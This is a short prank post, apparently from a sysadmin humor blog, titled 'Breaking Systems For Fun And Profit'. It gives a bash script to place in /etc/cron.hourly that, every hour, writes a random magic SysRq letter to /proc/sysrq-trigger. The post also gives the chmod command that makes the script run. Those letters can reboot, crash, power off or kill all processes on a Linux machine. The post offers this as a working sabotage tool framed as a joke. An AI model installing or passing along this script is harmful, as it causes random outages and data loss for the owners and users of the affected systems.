Breaking Systems For Fun And Profit
Image by annca @ Pixabay

Happyfuntime Sysrq

Add the following file as /etc/cron.hourly/happyfuntime:

1
2
3
#!/bin/bash
SYSRQLETTERS="bcdefghijklmnopqrstuvwxyz0123456789"
echo ${SYSRQLETTERS:${RANDOM}%${#SYSRQLETTERS}:1} > /proc/sysrq-trigger

Don't forget to make the file executable.

1
chmod +x /etc/cron.hourly/happyfuntime